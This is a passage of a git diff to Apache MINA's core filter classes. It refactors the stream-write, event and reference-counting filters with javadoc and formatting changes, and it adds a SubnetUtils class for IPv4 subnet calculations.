queue the WriteRequest. if (session.getAttribute(CURRENT_STREAM) != null) { Queue queue = getWriteRequestQueue(session); + if (queue == null) { - queue = new ConcurrentLinkedQueue(); + queue = new ConcurrentLinkedQueue<>(); session.setAttribute(WRITE_REQUEST_QUEUE, queue); } + queue.add(writeRequest); + return; } @@ -84,6 +94,7 @@ public void filterWrite(NextFilter nextFilter, IoSession session, T stream = getMessageClass().cast(message); IoBuffer buffer = getNextBuffer(stream); + if (buffer == null) { // End of stream reached. writeRequest.getFuture().setWritten(); @@ -92,16 +103,14 @@ public void filterWrite(NextFilter nextFilter, IoSession session, session.setAttribute(CURRENT_STREAM, message); session.setAttribute(CURRENT_WRITE_REQUEST, writeRequest); - nextFilter.filterWrite(session, new DefaultWriteRequest( - buffer)); + nextFilter.filterWrite(session, new DefaultWriteRequest(buffer)); } - } else { nextFilter.filterWrite(session, writeRequest); } } - - abstract protected Class getMessageClass(); + + protected abstract Class getMessageClass(); @SuppressWarnings("unchecked") private Queue getWriteRequestQueue(IoSession session) { @@ -112,10 +121,12 @@ private Queue getWriteRequestQueue(IoSession session) { private Queue removeWriteRequestQueue(IoSession session) { return (Queue) session.removeAttribute(WRITE_REQUEST_QUEUE); } - + + /** + * {@inheritDoc} + */ @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { T stream = getMessageClass().cast(session.getAttribute(CURRENT_STREAM)); if (stream == null) { @@ -126,13 +137,14 @@ public void messageSent(NextFilter nextFilter, IoSession session, if (buffer == null) { // End of stream reached. session.removeAttribute(CURRENT_STREAM); - WriteRequest currentWriteRequest = (WriteRequest) session - .removeAttribute(CURRENT_WRITE_REQUEST); + WriteRequest currentWriteRequest = (WriteRequest) session.removeAttribute(CURRENT_WRITE_REQUEST); // Write queued WriteRequests. Queue queue = removeWriteRequestQueue(session); + if (queue != null) { WriteRequest wr = queue.poll(); + while (wr != null) { filterWrite(nextFilter, session, wr); wr = queue.poll(); @@ -142,17 +154,14 @@ public void messageSent(NextFilter nextFilter, IoSession session, currentWriteRequest.getFuture().setWritten(); nextFilter.messageSent(session, currentWriteRequest); } else { - nextFilter.filterWrite(session, new DefaultWriteRequest( - buffer)); + nextFilter.filterWrite(session, new DefaultWriteRequest(buffer)); } } } /** - * Returns the size of the write buffer in bytes. Data will be read from the + * @return the size of the write buffer in bytes. Data will be read from the * stream in chunks of this size and then written to the next filter. - * - * @return the write buffer size. */ public int getWriteBufferSize() { return writeBufferSize; @@ -162,15 +171,16 @@ public int getWriteBufferSize() { * Sets the size of the write buffer in bytes. Data will be read from the * stream in chunks of this size and then written to the next filter. * + * @param writeBufferSize The size of the write buffer * @throws IllegalArgumentException if the specified size is < 1. */ public void setWriteBufferSize(int writeBufferSize) { if (writeBufferSize < 1) { - throw new IllegalArgumentException( - "writeBufferSize must be at least 1"); + throw new IllegalArgumentException("writeBufferSize must be at least 1"); } + this.writeBufferSize = writeBufferSize; } - abstract protected IoBuffer getNextBuffer(T message) throws IOException; + protected abstract IoBuffer getNextBuffer(T message) throws IOException; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/stream/FileRegionWriteFilter.java b/mina-core/src/main/java/org/apache/mina/filter/stream/FileRegionWriteFilter.java index 043a63a88e..840c65fdcc 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/stream/FileRegionWriteFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/stream/FileRegionWriteFilter.java @@ -23,12 +23,13 @@ import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.file.FileRegion; +import org.apache.mina.core.session.IoSession; /** * Filter implementation that converts a {@link FileRegion} to {@link IoBuffer} * objects and writes those buffers to the next filter. When end of the * {@code FileRegion} has been reached this filter will call - * {@link IoFilter.NextFilter#messageSent(IoSession,WriteRequest)} using the + * {@link org.apache.mina.core.filterchain.IoFilter.NextFilter#messageSent(org.apache.mina.core.session.IoSession, org.apache.mina.core.write.WriteRequest)} using the * original {@link FileRegion} written to the session and notifies * {@link org.apache.mina.core.future.WriteFuture} on the original * {@link org.apache.mina.core.write.WriteRequest}. @@ -52,33 +53,36 @@ * @author Apache MINA Project * @org.apache.xbean.XBean */ -public class FileRegionWriteFilter extends - AbstractStreamWriteFilter { - +public class FileRegionWriteFilter extends AbstractStreamWriteFilter { + /** + * {@inheritDoc} + */ @Override protected Class getMessageClass() { return FileRegion.class; } + /** + * {@inheritDoc} + */ @Override protected IoBuffer getNextBuffer(FileRegion fileRegion) throws IOException { // If there are no more bytes to read, return null if (fileRegion.getRemainingBytes() <= 0) { return null; } - + // Allocate the buffer for reading from the file - final int bufferSize = (int) Math.min(getWriteBufferSize(), fileRegion.getRemainingBytes()); + int bufferSize = (int) Math.min(getWriteBufferSize(), fileRegion.getRemainingBytes()); IoBuffer buffer = IoBuffer.allocate(bufferSize); // Read from the file - int bytesRead = fileRegion.getFileChannel().read(buffer.buf(), - fileRegion.getPosition()); + int bytesRead = fileRegion.getFileChannel().read(buffer.buf(), fileRegion.getPosition()); fileRegion.update(bytesRead); // return the buffer buffer.flip(); + return buffer; } - } diff --git a/mina-core/src/main/java/org/apache/mina/filter/stream/StreamWriteFilter.java b/mina-core/src/main/java/org/apache/mina/filter/stream/StreamWriteFilter.java index eba32e7b6c..953ce143cb 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/stream/StreamWriteFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/stream/StreamWriteFilter.java @@ -23,7 +23,7 @@ import java.io.InputStream; import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.filterchain.IoFilter; +import org.apache.mina.core.session.IoSession; /** * Filter implementation which makes it possible to write {@link InputStream} @@ -31,35 +31,35 @@ * {@link InputStream} is written to a session this filter will read the bytes * from the stream into {@link IoBuffer} objects and write those buffers * to the next filter. When end of stream has been reached this filter will - * call {@link IoFilter.NextFilter#messageSent(IoSession,WriteRequest)} using the original + * call {@link org.apache.mina.core.filterchain.IoFilter.NextFilter#messageSent(org.apache.mina.core.session.IoSession, org.apache.mina.core.write.WriteRequest)} using the original * {@link InputStream} written to the session and notifies * {@link org.apache.mina.core.future.WriteFuture} on the * original {@link org.apache.mina.core.write.WriteRequest}. - *

    + *

    * This filter will ignore written messages which aren't {@link InputStream} * instances. Such messages will be passed to the next filter directly. - *

    - *

    + *

    * NOTE: this filter does not close the stream after all data from stream * has been written. The {@link org.apache.mina.core.service.IoHandler} should take * care of that in its * {@link org.apache.mina.core.service.IoHandler#messageSent(IoSession,Object)} * callback. - *

    * * @author Apache MINA Project * @org.apache.xbean.XBean */ public class StreamWriteFilter extends AbstractStreamWriteFilter { - + /** + * {@inheritDoc} + */ @Override protected IoBuffer getNextBuffer(InputStream is) throws IOException { byte[] bytes = new byte[getWriteBufferSize()]; int off = 0; int n = 0; - while (off < bytes.length - && (n = is.read(bytes, off, bytes.length - off)) != -1) { + + while (off < bytes.length && (n = is.read(bytes, off, bytes.length - off)) != -1) { off += n; } @@ -67,14 +67,14 @@ protected IoBuffer getNextBuffer(InputStream is) throws IOException { return null; } - IoBuffer buffer = IoBuffer.wrap(bytes, 0, off); - - return buffer; + return IoBuffer.wrap(bytes, 0, off); } - + + /** + * {@inheritDoc} + */ @Override protected Class getMessageClass() { return InputStream.class; } - } diff --git a/mina-core/src/main/java/org/apache/mina/filter/stream/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/stream/package-info.java new file mode 100644 index 0000000000..b37e048064 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/stream/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Stream based IoFilter implementation. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.stream; diff --git a/mina-core/src/main/java/org/apache/mina/filter/stream/package.html b/mina-core/src/main/java/org/apache/mina/filter/stream/package.html deleted file mode 100644 index 04247d7884..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/stream/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Stream based IoFilter implementation. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/CommonEventFilter.java b/mina-core/src/main/java/org/apache/mina/filter/util/CommonEventFilter.java index 1b88ceb7dc..d2f6762042 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/util/CommonEventFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/util/CommonEventFilter.java @@ -25,63 +25,102 @@ import org.apache.mina.core.session.IoEventType; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; /** * Extend this class when you want to create a filter that - * wraps the same logic around all 9 IoEvents + * wraps the same logic around all 11 IoEvents * * @author Apache MINA Project */ public abstract class CommonEventFilter extends IoFilterAdapter { - - public CommonEventFilter() { - // Do nothing - } - protected abstract void filter(IoFilterEvent event) throws Exception; + /** + * {@inheritDoc} + */ @Override - public final void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_CREATED, session, null)); + public void event(NextFilter nextFilter, IoSession session, FilterEvent event) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.EVENT, session, event)); } + /** + * {@inheritDoc} + */ @Override - public final void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_OPENED, session, null)); + public final void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.EXCEPTION_CAUGHT, session, cause)); } + /** + * {@inheritDoc} + */ @Override - public final void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_CLOSED, session, null)); + public final void filterClose(NextFilter nextFilter, IoSession session) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.CLOSE, session, null)); } + /** + * {@inheritDoc} + */ @Override - public final void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_IDLE, session, status)); + public final void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.WRITE, session, writeRequest)); } + /** + * {@inheritDoc} + */ @Override - public final void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.EXCEPTION_CAUGHT, session, cause)); + public void inputClosed(NextFilter nextFilter, IoSession session) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.INPUT_CLOSED, session, null)); } + /** + * {@inheritDoc} + */ @Override public final void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { filter(new IoFilterEvent(nextFilter, IoEventType.MESSAGE_RECEIVED, session, message)); } + /** + * {@inheritDoc} + */ @Override public final void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { filter(new IoFilterEvent(nextFilter, IoEventType.MESSAGE_SENT, session, writeRequest)); } + /** + * {@inheritDoc} + */ @Override - public final void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.WRITE, session, writeRequest)); + public final void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_CLOSED, session, null)); } + /** + * {@inheritDoc} + */ @Override - public final void filterClose(NextFilter nextFilter, IoSession session) throws Exception { - filter(new IoFilterEvent(nextFilter, IoEventType.CLOSE, session, null)); + public final void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_CREATED, session, null)); + } + + /** + * {@inheritDoc} + */ + @Override + public final void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_IDLE, session, status)); + } + + /** + * {@inheritDoc} + */ + @Override + public final void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { + filter(new IoFilterEvent(nextFilter, IoEventType.SESSION_OPENED, session, null)); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/NoopFilter.java b/mina-core/src/main/java/org/apache/mina/filter/util/NoopFilter.java index dd472bf2c4..ec052d6ce8 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/util/NoopFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/util/NoopFilter.java @@ -23,7 +23,8 @@ /** * A Noop filter. It does nothing, as all the method are already implemented - * in the super class.
    + * in the super class. + *
    * * This class is used by tests, when some faked filter is needed to test that the * chain is working properly when adding or removing a filter. @@ -31,10 +32,4 @@ * @author Apache MINA Project */ public class NoopFilter extends IoFilterAdapter { - /** - * Default Constructor. - */ - public NoopFilter() { - super(); - } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/ReferenceCountingFilter.java b/mina-core/src/main/java/org/apache/mina/filter/util/ReferenceCountingFilter.java index f9a35e8994..a504384413 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/util/ReferenceCountingFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/util/ReferenceCountingFilter.java @@ -38,31 +38,34 @@ public class ReferenceCountingFilter extends IoFilterAdapter { private int count = 0; + /** + * Creates a new ReferenceCountingFilter instance + * + * @param filter the filter we are counting references on + */ public ReferenceCountingFilter(IoFilter filter) { this.filter = filter; } - public void init() throws Exception { - // no-op, will init on-demand in pre-add if count == 0 - } - - public void destroy() throws Exception { - //no-op, will destroy on-demand in post-remove if count == 0 - } - - public synchronized void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public synchronized void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { if (0 == count) { filter.init(); - - ++count; } + ++count; + filter.onPreAdd(parent, name, nextFilter); } - public synchronized void onPostRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public synchronized void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { filter.onPostRemove(parent, name, nextFilter); --count; @@ -72,58 +75,91 @@ public synchronized void onPostRemove(IoFilterChain parent, String name, } } - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { filter.exceptionCaught(nextFilter, session, cause); } - public void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void filterClose(NextFilter nextFilter, IoSession session) throws Exception { filter.filterClose(nextFilter, session); } - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { filter.filterWrite(nextFilter, session, writeRequest); } - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { filter.messageReceived(nextFilter, session, message); } - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { filter.messageSent(nextFilter, session, writeRequest); } - public void onPostAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { filter.onPostAdd(parent, name, nextFilter); } - public void onPreRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void onPreRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { filter.onPreRemove(parent, name, nextFilter); } - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { filter.sessionClosed(nextFilter, session); } - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { filter.sessionCreated(nextFilter, session); } - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { filter.sessionIdle(nextFilter, session, status); } - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { filter.sessionOpened(nextFilter, session); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/SessionAttributeInitializingFilter.java b/mina-core/src/main/java/org/apache/mina/filter/util/SessionAttributeInitializingFilter.java index a7cdc2ce84..7bc1209f94 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/util/SessionAttributeInitializingFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/util/SessionAttributeInitializingFilter.java @@ -32,13 +32,13 @@ * {@link IoSession} is created. By default, the attribute map is empty when * an {@link IoSession} is newly created. Inserting this filter will make * the pre-configured attributes available after this filter executes the - * sessionCreated event. + * sessionCreated event. * * @author Apache MINA Project * @org.apache.xbean.XBean */ public class SessionAttributeInitializingFilter extends IoFilterAdapter { - private final Map attributes = new ConcurrentHashMap(); + private final Map attributes = new ConcurrentHashMap<>(); /** * Creates a new instance with no default attributes. You can set @@ -53,9 +53,10 @@ public SessionAttributeInitializingFilter() { * Creates a new instance with the specified default attributes. You can * set the additional attributes by calling methods such as * {@link #setAttribute(String, Object)} and {@link #setAttributes(Map)}. + * + * @param attributes The Attribute's Map to set */ - public SessionAttributeInitializingFilter( - Map attributes) { + public SessionAttributeInitializingFilter(Map attributes) { setAttributes(attributes); } @@ -63,7 +64,7 @@ public SessionAttributeInitializingFilter( * Returns the value of user-defined attribute. * * @param key the key of the attribute - * @return null if there is no attribute with the specified key + * @return null if there is no attribute with the specified key */ public Object getAttribute(String key) { return attributes.get(key); @@ -74,7 +75,7 @@ public Object getAttribute(String key) { * * @param key the key of the attribute * @param value the value of the attribute - * @return The old value of the attribute. null if it is new. + * @return The old value of the attribute. null if it is new. */ public Object setAttribute(String key, Object value) { if (value == null) { @@ -90,7 +91,7 @@ public Object setAttribute(String key, Object value) { * {@link Boolean#TRUE}. * * @param key the key of the attribute - * @return The old value of the attribute. null if it is new. + * @return The old value of the attribute. null if it is new. */ public Object setAttribute(String key) { return attributes.put(key, Boolean.TRUE); @@ -99,22 +100,23 @@ public Object setAttribute(String key) { /** * Removes a user-defined attribute with the specified key. * - * @return The old value of the attribute. null if not found. + * @param key The attribut's key we want to removee + * @return The old value of the attribute. null if not found. */ public Object removeAttribute(String key) { return attributes.remove(key); } /** - * Returns true if this session contains the attribute with - * the specified key. + * @return true if this session contains the attribute with + * the specified key. */ boolean containsAttribute(String key) { return attributes.containsKey(key); } /** - * Returns the set of keys of all user-defined attributes. + * @return the set of keys of all user-defined attributes. */ public Set getAttributeKeys() { return attributes.keySet(); @@ -124,14 +126,15 @@ public Set getAttributeKeys() { * Sets the attribute map. The specified attributes are copied into the * underlying map, so modifying the specified attributes parameter after * the call won't change the internal state. + * + * @param attributes The attributes Map to set */ public void setAttributes(Map attributes) { - if (attributes == null) { - attributes = new ConcurrentHashMap(); - } - this.attributes.clear(); - this.attributes.putAll(attributes); + + if (attributes != null) { + this.attributes.putAll(attributes); + } } /** @@ -139,8 +142,7 @@ public void setAttributes(Map attributes) { * map and forward the event to the next filter. */ @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { for (Map.Entry e : attributes.entrySet()) { session.setAttribute(e.getKey(), e.getValue()); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/SubnetUtils.java b/mina-core/src/main/java/org/apache/mina/filter/util/SubnetUtils.java new file mode 100644 index 0000000000..04fd588b68 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/util/SubnetUtils.java @@ -0,0 +1,528 @@ +/* +* Licensed to the Apache Software Foundation (ASF) under one or more +* contributor license agreements. See the NOTICE file distributed with +* this work for additional information regarding copyright ownership. +* The ASF licenses this file to You under the Apache License, Version 2.0 +* (the "License"); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* +* https://www.apache.org/licenses/LICENSE-2.0 +* +* Unless required by applicable law or agreed to in writing, software +* distributed under the License is distributed on an "AS IS" BASIS, +* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +* See the License for the specific language governing permissions and +* limitations under the License. +*/ +package org.apache.mina.filter.util; + +import java.util.Iterator; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Stream; +import java.util.stream.StreamSupport; + +/** +* Performs subnet calculations given a network address and a subnet mask. +* +* This class is extracted from Apache commons-net project +* @see Classless Inter-Domain Routing (CIDR): an Address Assignment and Aggregation Strategy +* @see SubnetUtils6 +* @since 2.0 +*/ +public class SubnetUtils { + + /** + * Allows an object to be the target of the "for-each loop" statement for a SubnetInfo. + */ + private static final class SubnetAddressStringIterable implements Iterable { + + private final SubnetInfo subnetInfo; + + /** + * Constructs a new instance. + * + * @param subnetInfo the SubnetInfo to iterate. + */ + private SubnetAddressStringIterable(final SubnetInfo subnetInfo) { + this.subnetInfo = subnetInfo; + } + + @Override + public Iterator iterator() { + return new SubnetAddressStringIterator(subnetInfo); + } + } + + /** + * Iterates over a SubnetInfo. + */ + private static final class SubnetAddressStringIterator implements Iterator { + + private int currentAddress; + + private final SubnetInfo subnetInfo; + + /** + * Constructs a new instance. + * + * @param subnetInfo the SubnetInfo to iterate. + */ + private SubnetAddressStringIterator(final SubnetInfo subnetInfo) { + this.subnetInfo = subnetInfo; + currentAddress = subnetInfo.low(); + } + + @Override + public boolean hasNext() { + return subnetInfo.getAddressCountLong() > 0 && currentAddress <= subnetInfo.high(); + } + + @Override + public String next() { + return format(toArray4(currentAddress++)); + } + } + + /** + * Contains subnet summary information. + */ + public final class SubnetInfo { + + /** Mask to convert unsigned int to a long (i.e. keep 32 bits). */ + private static final long UNSIGNED_INT_MASK = 0x0FFFFFFFFL; + + private SubnetInfo() { + } + + /** + * Converts a dotted decimal format address to a packed integer format. + * + * @param address a dotted decimal format address. + * @return packed integer formatted int. + */ + public int asInteger(final String address) { + return toInteger(address); + } + + private long broadcastLong() { + return broadcast & UNSIGNED_INT_MASK; + } + + /** + * Gets this instance's address into a dotted decimal String. + * + * @return a dotted decimal String. + */ + public String getAddress() { + return format(toArray4(address)); + } + + /** + * Gets the count of available addresses. Will be zero for CIDR/31 and CIDR/32 if the inclusive flag is false. + * + * @return the count of addresses, may be zero. + * @throws RuntimeException if the correct count is greater than {@code Integer.MAX_VALUE} + * @deprecated (3.4) use {@link #getAddressCountLong()} instead + */ + @Deprecated + public int getAddressCount() { + final long countLong = getAddressCountLong(); + if (countLong > Integer.MAX_VALUE) { + throw new IllegalStateException("Count is larger than an integer: " + countLong); + } + // Cannot be negative here + return (int) countLong; + } + + /** + * Gets the count of available addresses. Will be zero for CIDR/31 and CIDR/32 if the inclusive flag is false. + * + * @return the count of addresses, may be zero. + * @since 3.4 + */ + public long getAddressCountLong() { + final long b = broadcastLong(); + final long n = networkLong(); + final long count = b - n + (isInclusiveHostCount() ? 1 : -1); + return count < 0 ? 0 : count; + } + + /** + * Gets all addresses in this subnet, the return array could be huge. + *

    + * For large ranges, you can iterate or stream over the addresses instead using {@link #iterableAddressStrings()} or {@link #streamAddressStrings()}. + *

    + * + * @return all addresses in this subnet. + * @see #iterableAddressStrings() + * @see #streamAddressStrings() + */ + public String[] getAllAddresses() { + final int ct = getAddressCount(); + final String[] addresses = new String[ct]; + if (ct == 0) { + return addresses; + } + final int high = high(); + for (int add = low(), j = 0; add <= high; ++add, ++j) { + addresses[j] = format(toArray4(add)); + } + return addresses; + } + + /** + * Gets the broadcast address for this subnet. + * + * @return the broadcast address for this subnet. + */ + public String getBroadcastAddress() { + return format(toArray4(broadcast)); + } + + /** + * Gets the CIDR signature for this subnet. + * + * @return the CIDR signature for this subnet. + */ + public String getCidrSignature() { + return format(toArray4(address)) + "/" + Integer.bitCount(netmask); + } + + /** + * Gets the high address as a dotted IP address. Will be zero for CIDR/31 and CIDR/32 if the inclusive flag is false. + * + * @return the IP address in dotted format, may be "0.0.0.0" if there is no valid address + */ + public String getHighAddress() { + return format(toArray4(high())); + } + + /** + * Gets the low address as a dotted IP address. Will be zero for CIDR/31 and CIDR/32 if the inclusive flag is false. + * + * @return the IP address in dotted format, may be "0.0.0.0" if there is no valid address + */ + public String getLowAddress() { + return format(toArray4(low())); + } + + /** + * Gets the network mask for this subnet. + * + * @return the network mask for this subnet. + */ + public String getNetmask() { + return format(toArray4(netmask)); + } + + /** + * Gets the network address for this subnet. + * + * @return the network address for this subnet. + */ + public String getNetworkAddress() { + return format(toArray4(network)); + } + + /** + * Gets the next address for this subnet. + * + * @return the next address for this subnet. + */ + public String getNextAddress() { + return format(toArray4(address + 1)); + } + + /** + * Gets the previous address for this subnet. + * + * @return the previous address for this subnet. + */ + public String getPreviousAddress() { + return format(toArray4(address - 1)); + } + + private int high() { + return isInclusiveHostCount() ? broadcast : broadcastLong() - networkLong() > 1 ? broadcast - 1 : 0; + } + + /** + * Tests if the parameter {@code address} is in the range of usable endpoint addresses for this subnet. This excludes the network and broadcast + * addresses by default. Use {@link SubnetUtils#setInclusiveHostCount(boolean)} to change this. + * + * @param address the address to check + * @return true if it is in range + * @since 3.4 (made public) + */ + public boolean isInRange(final int address) { + if (address == 0) { // cannot ever be in range; rejecting now avoids problems with CIDR/31,32 + return false; + } + final long addLong = address & UNSIGNED_INT_MASK; + final long lowLong = low() & UNSIGNED_INT_MASK; + final long highLong = high() & UNSIGNED_INT_MASK; + return addLong >= lowLong && addLong <= highLong; + } + + /** + * Tests if the parameter {@code address} is in the range of usable endpoint addresses for this subnet. This excludes the network and broadcast + * addresses. Use {@link SubnetUtils#setInclusiveHostCount(boolean)} to change this. + * + * @param address A dot-delimited IPv4 address, e.g. "192.168.0.1" + * @return True if in range, false otherwise + */ + public boolean isInRange(final String address) { + return isInRange(toInteger(address)); + } + + /** + * Creates a new Iterable of address Strings. + * + * @return a new Iterable of address Strings + * @see #getAllAddresses() + * @see #streamAddressStrings() + * @since 3.12.0 + */ + public Iterable iterableAddressStrings() { + return new SubnetAddressStringIterable(this); + } + + private int low() { + return isInclusiveHostCount() ? network : broadcastLong() - networkLong() > 1 ? network + 1 : 0; + } + + /** Long versions of the values (as unsigned int) which are more suitable for range checking. */ + private long networkLong() { + return network & UNSIGNED_INT_MASK; + } + + /** + * Creates a new Stream of address Strings. + * + * @return a new Stream of address Strings. + * @see #getAllAddresses() + * @see #iterableAddressStrings() + * @since 3.12.0 + */ + public Stream streamAddressStrings() { + return StreamSupport.stream(iterableAddressStrings().spliterator(), false); + } + + /** + * {@inheritDoc} + * + * @since 2.2 + */ + @Override + public String toString() { + final StringBuilder buf = new StringBuilder(); + // @formatter:off + buf.append("CIDR Signature:\t[").append(getCidrSignature()).append("]\n") + .append(" Netmask: [").append(getNetmask()).append("]\n") + .append(" Network: [").append(getNetworkAddress()).append("]\n") + .append(" Broadcast: [").append(getBroadcastAddress()).append("]\n") + .append(" First address: [").append(getLowAddress()).append("]\n") + .append(" Last address: [").append(getHighAddress()).append("]\n") + .append(" Address Count: [").append(getAddressCountLong()).append("]\n"); + // @formatter:on + return buf.toString(); + } + } + + private static final String IP_ADDRESS = "(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})"; + + private static final String SLASH_FORMAT = IP_ADDRESS + "/(\\d{1,2})"; // 0 -> 32 + + private static final Pattern ADDRESS_PATTERN = Pattern.compile(IP_ADDRESS); + private static final Pattern CIDR_PATTERN = Pattern.compile(SLASH_FORMAT); + private static final int NBITS = 32; + private static final String PARSE_FAIL = "Could not parse [%s]"; + + /** + * Converts a 4-element array into dotted decimal format. + */ + private static String format(final int[] octets) { + final int last = octets.length - 1; + final StringBuilder builder = new StringBuilder(); + for (int i = 0;; i++) { + builder.append(octets[i]); + if (i == last) { + return builder.toString(); + } + builder.append('.'); + } + } + + /** + * Extracts the components of a dotted decimal address and pack into an integer using a regex match + */ + private static int matchAddress(final Matcher matcher) { + int addr = 0; + for (int i = 1; i <= 4; ++i) { + final int n = rangeCheck(Integer.parseInt(matcher.group(i)), 0, 255); + addr |= (n & 0xff) << 8 * (4 - i); + } + return addr; + } + + /** + * Checks integer boundaries. Checks if a value x is in the range [begin,end]. Returns x if it is in range, throws an exception otherwise. + */ + private static int rangeCheck(final int value, final int begin, final int end) { + if (value >= begin && value <= end) { // (begin,end] + return value; + } + throw new IllegalArgumentException("Value [" + value + "] not in range [" + begin + "," + end + "]"); + } + + /** + * Converts a packed integer address into a 